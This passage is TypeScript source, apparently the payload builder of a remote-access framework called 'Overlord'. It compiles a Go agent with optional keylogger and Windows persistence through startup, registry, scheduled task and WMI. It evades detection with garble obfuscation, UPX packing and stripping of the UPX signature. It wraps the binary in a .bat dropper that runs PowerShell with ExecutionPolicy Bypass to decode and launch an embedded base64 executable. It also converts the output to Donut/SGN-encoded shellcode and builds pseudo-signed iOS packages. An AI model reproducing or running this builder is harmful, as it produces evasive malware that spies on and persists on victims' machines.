GOARCH=${actualArch} CGO=${env.CGO_ENABLED} CC=${env.CC || ""} shellcode=${isShellcodeMode}`); const garbleFlags: string[] = []; if (config.obfuscate) { if (config.garbleLiterals) garbleFlags.push("-literals"); if (config.garbleTiny) garbleFlags.push("-tiny"); if (config.garbleSeed) garbleFlags.push(`-seed=${config.garbleSeed}`); } // Base tags: always present regardless of build pass const baseTags: string[] = []; if (config.noPrinting) baseTags.push("noprint"); if (config.disableKeylogger) baseTags.push("nokeylogger"); if (config.enableWebrtc) baseTags.push("overlord_webrtc"); if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre"); if (hasBoundFiles) baseTags.push("hasbinder"); if (isIosTarget) baseTags.push("ios_target"); if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console"); if (config.fetchPublicIP) baseTags.push("fetch_public_ip"); // Windows persistence tags (omitted in shellcode mode — handled by two-pass below) const winPersistTags: string[] = []; if (config.enablePersistence && os === "windows" && !isShellcodeMode) { const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"]; if (methods.includes("startup")) winPersistTags.push("persist_startup"); if (methods.includes("registry")) winPersistTags.push("persist_registry"); if (methods.includes("taskscheduler")) winPersistTags.push("persist_taskscheduler"); if (methods.includes("wmi")) winPersistTags.push("persist_wmi"); } const runBuild = async (tags: string[], outputPath: string) => { const buildArgs: string[] = []; if (tags.length > 0) buildArgs.push("-tags", tags.join(" ")); buildArgs.push("-trimpath", "-buildvcs=false"); if (ldflags) buildArgs.push(`-ldflags=${ldflags}`); buildArgs.push("-o", outputPath, "./cmd/agent"); let buildCmd; if (config.obfuscate) { buildCmd = $`garble ${[...garbleFlags, "build", ...buildArgs]}`; } else { buildCmd = $`go build ${buildArgs}`; } const proc = buildCmd.env(env).cwd(clientDir).nothrow(); for await (const line of proc.lines()) { const trimmed = line.trim(); if (trimmed.length > 0) sendToStream({ type: "output", text: line + "\n", level: "info" }); } const result = await proc; if (result.exitCode !== 0) { const stderrText = result.stderr.toString(); if (stderrText) sendToStream({ type: "output", text: stderrText, level: "error" }); throw new Error(`Build failed for ${platform} (exit ${result.exitCode})`); } }; // Two-pass build: shellcode + persistence if (isShellcodeMode && config.enablePersistence && !platform.startsWith("android-")) { const pass1Path = `${outDir}/${outputName}.pass1`; const pass1Tags = [...baseTags]; if (os === "windows") { const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"]; if (methods.includes("startup")) pass1Tags.push("persist_startup"); if (methods.includes("registry")) pass1Tags.push("persist_registry"); if (methods.includes("taskscheduler")) pass1Tags.push("persist_taskscheduler"); if (methods.includes("wmi")) pass1Tags.push("persist_wmi"); } sendToStream({ type: "output", text: `Two-pass shellcode+persistence build\n Pass 1: agent with persistence (tags: ${pass1Tags.join(" ")})\n`, level: "info" }); await runBuild(pass1Tags, pass1Path); const pass1Data = fs.readFileSync(pass1Path); const selfbinPath = path.join(clientDir, "cmd", "agent", "selfbinary.bin"); fs.writeFileSync(selfbinPath, pass1Data); fs.unlinkSync(pass1Path); const pass2Tags = [...baseTags, "selfembed"]; sendToStream({ type: "output", text: ` Pass 2: selfembed wrapper (tags: ${pass2Tags.join(" ")})\n`, level: "info" }); await runBuild(pass2Tags, `${outDir}/${outputName}`); try { fs.unlinkSync(selfbinPath); } catch {} } else { const tags = [...baseTags, ...winPersistTags]; await runBuild(tags, `${outDir}/${outputName}`); } const filePath = `${outDir}/${outputName}`; let finalSize = Bun.file(filePath).size; // For .bat/.cmd: go build writes a PE binary; UPX must run first (it needs PE format), // then after compression we wrap it in a batch script with an embedded base64 payload. const isBatWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd"); if (upxBin) { sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" }); const originalSize = finalSize; try { const upxResult = await $`${upxBin} --best ${filePath}`.nothrow().quiet(); if (upxResult.exitCode !== 0) { const stderr = upxResult.stderr.toString().trim(); sendToStream({ type: "output", text: `WARNING: UPX compression failed (exit ${upxResult.exitCode}): ${stderr}\n`, level: "warn" }); } else { finalSize = Bun.file(filePath).size; const ratio = ((1 - finalSize / originalSize) * 100).toFixed(1); sendToStream({ type: "output", text: `UPX compressed: ${originalSize} → ${finalSize} bytes (${ratio}% reduction)\n`, level: "info" }); if (config.upxStripHeaders) { const stripped = stripUpxHeaders(filePath); if (stripped) { finalSize = Bun.file(filePath).size; sendToStream({ type: "output", text: `UPX headers stripped (signature removed)\n`, level: "info" }); } else { sendToStream({ type: "output", text: `WARNING: No UPX signatures found to strip\n`, level: "warn" }); } } } } catch (upxErr: any) { sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" }); } } if (isBatWrapper) { sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" }); try { const exeBytes = fs.readFileSync(filePath); const b64 = exeBytes.toString("base64"); // Split into 76-char lines so the bat file stays manageable const b64Lines = b64.match(/.{1,76}/g) || [b64]; // Random marker generated at build time using the same uuid util already imported const marker = `:OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`; // PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data, // decodes base64 to a temp .exe, launches it, then exits. const psCmd = [ `$f=$env:_OVD_SELF;`, `$l=[IO.File]::ReadAllLines($f);`, `$i=0;`, `for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq '${marker}'){$i=$j+1;break}};`, `$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));`, `$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');`, `[IO.File]::WriteAllBytes($t,$b);`, `Start-Process $t;`, `exit`, ].join(""); const wrapper = [ `@echo off`, `setlocal`, `set "_OVD_SELF=%~f0"`, `powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "${psCmd}"`, `endlocal`, `exit /b 0`, marker, ...b64Lines, ].join("\r\n") + "\r\n"; fs.writeFileSync(filePath, wrapper, "utf8"); finalSize = fs.statSync(filePath).size; sendToStream({ type: "output", text: `Wrapped: ${exeBytes.length} byte PE → ${finalSize} byte ${winExt} script\n`, level: "info" }); } catch (wrapErr: any) { sendToStream({ type: "output", text: `WARNING: Failed to generate bat wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" }); } } // ── IPA packaging for iOS targets ────────────────────────────────────── if (os === "ios") { sendToStream({ type: "output", text: `Packaging ${outputName} as IPA...\n`, level: "info" }); try { const appName = config.outputName || "Agent"; const bundleId = config.iosBundleId || "com.overlord.agent"; const ipaWorkDir = path.join(outDir, `_ipa_${platform}`); const payloadAppDir = path.join(ipaWorkDir, "Payload", `${appName}.app`); // Create Payload/App.app structure fs.mkdirSync(payloadAppDir, { recursive: true }); // Copy binary into .app fs.copyFileSync(filePath, path.join(payloadAppDir, appName)); fs.chmodSync(path.join(payloadAppDir, appName), 0o755); // Generate Info.plist const infoPlist = ` CFBundleExecutable ${appName} CFBundleIdentifier ${bundleId} CFBundleName ${appName} CFBundleDisplayName ${appName} CFBundleVersion ${agentVersion} CFBundleShortVersionString ${agentVersion} CFBundlePackageType APPL CFBundleSupportedPlatforms iPhoneOS MinimumOSVersion 14.0 CFBundleInfoDictionaryVersion 6.0 LSRequiresIPhoneOS UIDeviceFamily 1 2 UISupportedInterfaceOrientations UIInterfaceOrientationPortrait `; fs.writeFileSync(path.join(payloadAppDir, "Info.plist"), infoPlist, "utf8"); // Attempt pseudo-signing with ldid (system-installed or downloaded on demand). try { let ldidBin: string | null = null; try { const tc = await ensureToolchain("ldid", sendToStream); ldidBin = path.join(tc.binDir, "ldid"); } catch (dlErr: any) { sendToStream({ type: "output", text: `ldid not found and download failed (${dlErr.message || dlErr}); skipping pseudo-signing.\n`, level: "warn", }); } if (ldidBin) { const ldidSign = await $`${ldidBin} -S ${path.join(payloadAppDir, appName)}`.nothrow().quiet(); if (ldidSign.exitCode === 0) { sendToStream({ type: "output", text: `Pseudo-signed with ldid\n`, level: "info" }); } else { sendToStream({ type: "output", text: `WARNING: ldid signing failed (non-fatal)\n`, level: "warn" }); } } } catch { /* ldid is optional */ } const ipaName = `${outputName}.ipa`; const ipaPath = path.join(outDir, ipaName); const zipResult = await $`cd ${ipaWorkDir} && zip -r ${ipaPath} Payload/ 2>&1 || true`.nothrow().quiet(); // Fallback: if system zip isn't available, try creating it manually if (!fs.existsSync(ipaPath)) { // Use a simple tar+gzip approach as last resort — though real IPAs need zip sendToStream({ type: "output", text: `WARNING: zip command not available. Outputting raw Mach-O binary instead of IPA.\n`, level: "warn" }); } else { // Remove the raw binary, replace with IPA fs.unlinkSync(filePath); finalSize = fs.statSync(ipaPath).size; sendToStream({ type: "output", text: `IPA packaged: ${finalSize} bytes\n`, level: "info" }); // Update output references to point to the IPA const ipaOutputName = outputName.endsWith(".ipa") ? outputName : `${outputName}.ipa`; // Clean up temp dirs fs.rmSync(ipaWorkDir, { recursive: true, force: true }); // Push IPA file entry instead of raw binary (build.files as any[]).push({ name: ipaOutputName.replace(`-${buildSlug}`, ""), filename: ipaOutputName, platform, version: agentVersion, size: finalSize, }); continue; // Skip the default file push below } // Clean up temp dirs fs.rmSync(ipaWorkDir, { recursive: true, force: true }); } catch (ipaErr: any) { sendToStream({ type: "output", text: `WARNING: IPA packaging failed: ${ipaErr.message || ipaErr}. Output is a raw Mach-O binary.\n`, level: "warn" }); } } // ── End IPA packaging ───────────────────────────────────────────────── // ── Donut: Windows PE → shellcode ────────────────────────────────── let finalOutputName = outputName; let finalOutputSize = finalSize; let shellcodeBinPath: string | null = null; let shellcodeArch: "amd64" | "386" | null = null; if (config.useDonut && os === "windows") { sendToStream({ type: "status", text: `Converting ${platform} PE to shellcode…` }); sendToStream({ type: "output", text: `\nConverting PE → shellcode with Donut...\n`, level: "info" }); const scOutputName = deps.sanitizeOutputName(outputName.replace(/\.[^.]+$/, ".bin")); const binPath = path.join(outDir, scOutputName); const donutArch = (actualArch === "386" ? "386" : "amd64") as "386" | "amd64"; const ok = await runDonut(filePath, binPath, donutArch, sendToStream); if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`); try { fs.unlinkSync(filePath); } catch {} finalOutputName = scOutputName; finalOutputSize = Bun.file(binPath).size; shellcodeBinPath = binPath; shellcodeArch = donutArch; sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); } // ── Linux ELF → shellcode stub ────────────────────────────────────── if (config.useLinuxShellcode && os === "linux") { sendToStream({ type: "status", text: `Wrapping ${platform} ELF as shellcode…` }); sendToStream({ type: "output", text: `\nWrapping ELF with Linux shellcode stub...\n`, level: "info" }); const scOutputName = deps.sanitizeOutputName(outputName + ".bin"); const binPath = path.join(outDir, scOutputName); const ok = buildLinuxShellcode(filePath, binPath, sendToStream); if (!ok) throw new Error(`Linux shellcode wrap failed for ${platform}`); try { fs.unlinkSync(filePath); } catch {} finalOutputName = scOutputName; finalOutputSize = Bun.file(binPath).size; shellcodeBinPath = binPath; shellcodeArch = "amd64"; sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); } if (config.useSgn && shellcodeBinPath && shellcodeArch) { const iters = Math.max(1, Math.min(50, Math.floor(config.sgnIterations ?? 1))); sendToStream({ type: "status", text: `Encoding ${platform} shellcode with SGN (×${iters})…` }); sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" }); const sgnOutputName = deps.sanitizeOutputName(finalOutputName + ".sgn"); const sgnOutputPath = path.join(outDir, sgnOutputName); const ok = await runSgn(shellcodeBinPath, sgnOutputPath, shellcodeArch, iters, sendToStream); if (!ok) throw new Error(`SGN encoding failed for ${platform}`); try { fs.unlinkSync(shellcodeBinPath); } catch {} finalOutputName = sgnOutputName; finalOutputSize = Bun.file(sgnOutputPath).size; shellcodeBinPath = sgnOutputPath; sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" }); } (build.files as any[]).push({ name: finalOutputName.replace(`-${buildSlug}`, ""), filename: finalOutputName, platform, version: agentVersion, size: finalOutputSize, }); } catch (err: any) { const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`; logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`); sendToStream({ type: "output", text: errorMsg, level: "error" }); throw err; } } build.status = "completed"; logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`); sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" }); if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) { try { await uploadBuildFilesToFileShare( build, outDir, deps.fileShareRoot, config.builtByUserId, sendToStream, ); } catch (uploadErr: any) { sendToStream({ type: "output", text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`, level: "warn", }); } } else if (config.uploadToFileShare && !deps.fileShareRoot) { sendToStream({ type: "output", text: "WARNING: File-share upload requested but file share is not configured on this server.\n", level: "warn", }); } sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt }); saveBuild({ id: build.id, status: build.status, startTime: build.startTime, expiresAt: build.expiresAt, files: build.files as any, buildTag, builtByUserId: config.builtByUserId, }); setTimeout(() => { logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`); buildManager.deleteBuildStream(buildId); }, SEVEN_DAYS_MS); } catch (err: any) { build.status = "failed"; logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err); sendToStream({ type: "error", error: err.message || String(err) }); sendToStream({ type: "complete", success: false, buildId }); setTimeout(() => { logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up failed build stream`); buildManager.deleteBuildStream(buildId); }, 60 * 60 * 1000); } finally { clearInterval(keepAliveTimer); for (const sysoFile of generatedSysoFiles) { try { fs.unlinkSync(sysoFile); } catch {} } if (winresTempDir) { try { fs.rmSync(winresTempDir, { recursive: true, force: true }); } catch {} } // Binder cleanup: remove generated Go file, bindfiles dir, and release lock if (binderGenPath) { try { fs.unlinkSync(binderGenPath); } catch {} } if (binderFilesDir) { try { fs.rmSync(binderFilesDir, { recursive: true, force: true }); } catch {} } if (binderLockPath) { try { fs.unlinkSync(binderLockPath); } catch {} } } }